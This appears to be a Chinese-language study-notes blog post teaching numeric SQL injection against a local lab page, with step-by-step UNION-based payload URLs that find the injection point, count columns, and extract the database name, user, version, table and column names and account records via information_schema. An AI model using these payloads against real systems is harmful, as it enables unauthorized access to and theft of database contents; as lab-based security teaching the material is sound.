SQL注入原理总结

首先明白什么是SQL注入?

SQL注入即是用户通过改变用户输入框中的输入,从而改变原语句本来的SQL语句,在管理员不知情的情况下获取到数据库中用户本不能获取到的数据。SQL注入的种类很多,数字型,字符型,搜索型等,这里只介绍数字型,输入的参数为整型的注入归为数字型。这里只介绍最简单的过程,注入中不存在任何过滤的操作。

1、确定存在注入

http://127.0.0.1:8080/DBox/sql_injection/sql_num.php?id=1执行该语句正常返回结果
数据库执行下列语句(这些语句用户是不知道,通过猜测的语句)
SELECT * FROM news WHERE id = 1
http://127.0.0.1:8080/DBox/sql_injection/sql_num.php?id=1“执行该语句返回异常
SELECT * FROM news WHERE id = 1“
http://127.0.0.1:8080/DBox/sql_injection/sql_num.php?id=1 and 1=1 执行正常返回
SELECT * FROM news WHERE id = 1 and 1=1
http://127.0.0.1:8080/DBox/sql_injection/sql_num.php?id=1and 1=2执行异常
SELECT * FROM news WHERE id = 1 and 1=2
通过以上步骤,基本可以确定注入点,切为数字型

2、确定返回的列数

http://127.0.0.1:8080/DBox/sql_injection/sql_num.php?id=1 order by n
SELECT * FROM news WHERE id = 1 order by n
这里的n为用户输入的数字,如果n<=原语句查询的结果,数据将正常的得到返回,如果大于原语句查询的结果,系统将直接报错*Fatal error: Call to a member function fetch_assoc() on boolean ,这里利用的是order by 语句的特性,order by后可以跟列名,表示依据那一列来排序;也可以跟数字,表示根据第几列来排序(从1开始)。<=正常结果时,数据库正常返回,同时排序,当>原查询列时,SQL找不到这样的列,自然进行报错,通过这个特性便可以知道查询的结果有多少列,这里同时可以使用折半查找,第一次n取10报错取5,报错取2或3,正常取7或8以此这样很快便能得到查询的结果有多少列。(我的查询返回的列是3,即3时正常返回,4返回异常)

3、确定显示的位置

http://127.0.0.1:8080/DBox/sql_injection/sql_num.php?id=-1 union select 1,2,3
SELECT * FROM news WHERE id = -1 union select 1,2,3
可以看到原本查询结果的地方变成了2,3,说明数据有效返回的位置在2,3位置,这里利用的是union的特性,union为联合查询,需要注意的是前后两个查询的字段数必须相同。原本应该将第一个语句的结果和第二个的结果整合后一起显示出来,但是如果前一个的语句正常执行,结果只会返回前一个语句的结果,故需要将前面的语句报错id=-1(不存在等于-1的情况),所以该语句就只返回后面的select的结果

4、查询数据库名,版本号、用户名

http://127.0.0.1:8080/DBox/sql_injection/sql_num.php?id=-1 union select 1,concat(database(),’|’,user()),version()
SELECT * FROM news WHERE id = -1 union select 1,concat(database(),’|’,user()),version()
这里直接将刚才2,3的位置换位database(),user()version()即可,之前返回2,3的位置会直接返回数据库名,版本号、用户名,可以一次替换两个,分两步查询,也可以使用concat直接返回所有结果。concat将查询的结果连接起来,为了结果显示的清晰,我用“|“将查询结果分开。

5、查询表名

http://127.0.0.1:8080/DBox/sql_injection/sql_num.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
SELECT * FROM news WHERE id = -1 union select 1,2,concat(table_name) from information_schema.tables where table_schema=database()
将原本3的位置换为group_concat(table_name),之后添加查询的条件语句。INFORMATION_SCHEMA是虚拟数据库其中包含数据库名称、数据表名称和访问权限,通过这个表可以访问表名列名等内容。group_concat将同一个分组中的值连接起来,用于获取表中所有列名。这里我的数据库中有两个表,分别是account和news。

6、查询列名

得到表名后,即可查询列名
http://127.0.0.1:8080/DBox/sql_injection/sql_num.php?id=-1union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘account’
SELECT * FROM news WHERE id = -1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='account’
同样的和表名的查询大致相同,最后的表名"account"同样可以换成16进制的符号,转换可以直接在网上找找在线转换工具

7、查询字段内容

http://127.0.0.1:8080/DBox/sql_injection/sql_num.php? id = -1 union select 1,2,concat_ws(’,’,id,rest,own) from account
SELECT * FROM news WHERE id = -1 union select 1,2,concat_ws(’,’,id,rest,own) from account
通过刚刚拿到的列名在列中查询具体的结果,Concat_ws(‘分隔符’,需要查询的内容,需要查询的内容)注意在写入查询内容时,不需要用引号。

你可能感兴趣的:(学习笔记)